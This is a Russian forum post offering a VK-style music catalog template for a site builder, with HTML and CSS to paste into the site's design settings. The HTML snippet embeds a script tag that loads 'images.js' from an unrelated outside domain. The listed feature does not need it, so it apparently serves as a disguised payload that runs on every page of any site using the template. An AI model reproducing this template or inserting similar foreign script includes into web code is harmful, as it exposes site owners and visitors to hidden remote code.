MP3 вид новостей музыкальных в стиле как VK

Меню сайта

Обновления на форуме

Последние новости

Новый Android-троян ...

Разрабатывается игра...

iPhone 4S официально...

Огромное спасибо за ...

Разработчики Call of...

Battlefield 3 не пус...

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

Страница 1 из 1 1
Модератор форума: Akngooo

MP3 вид новостей музыкальных в стиле как VK (Отличный стиль!)

MP3 вид новостей музыкальных в стиле как VK

WebGerl

Offline

Дата: Четверг, 05.01.2012, 12:59 | Сообщение # 1

Постов: 8

Награды: 0

Репутация: 32

Статус: Offline

Скрин: http://s017.radikal.ru/i430/1112/7f/c1df45ca0dcc.jpg

Вид материалов для музыкальных сайтов, MP3 вид новостей музыкальных в стиле как VK.
Типичный ленточный вариант отображение материалов с описанием и ссылками на музыку, по желанию можно вставить так же плеер что бы можно было прослушивать сразу же не заходя в новость музыку закаченную на ваш хостинг в MP3 файле.

Очень простая компоновка, и минимум стиля сделают загрузку на много быстрей и бес проблемной.

Установка:
Панель Управления > Дизайн > Управление дизайном (Шаблоны) там находим: Каталог файлов и в раздел Вид материалов ставим следующий код:

Code

<div class="musiclist">
<div style="float:right"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a href="$FILE_URL$" target="_blank"><img style="margin-left: 8px;" src="http://s41.radikal.ru/i094/1112/93/dfdbcbb7dce4.png" align="right" height="17" width="17" title="Скачать: $TITLE$"></a> <span style="font-size:10pt"><span style="color:#777777">Загрузок: $LOADS$</span></span></div> <img style="margin-right: 8px;" src="http://s58.radikal.ru/i162/1112/36/ce2378d04098.png" align="left" height="17" width="17"> <span style="font-size:10pt"><a href="$ENTRY_URL$">$TITLE$</a></span>
</div><br>

А этот код вставляем в любое место в CSS:

Code

.musiclist {background: #ffffff; border-left:1px solid #d9e0e7; border-right:1px solid #d9e0e7; border-bottom:1px solid #d9e0e7; border-top:1px solid #d9e0e7; font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-left:5px; padding-right:5px; padding-bottom:5px; padding-top:5px;}
.musiclist:hover {background: #d9e0e7; border-left:1px solid #61768a; border-right:1px solid #61768a; border-bottom:1px solid #61768a; border-top:1px solid #61768a; font-family:Tahoma,Arial,Sans-Serif;color:#1A1A1A;padding-left:5px; padding-right:5px; padding-bottom:5px; padding-top:5px;}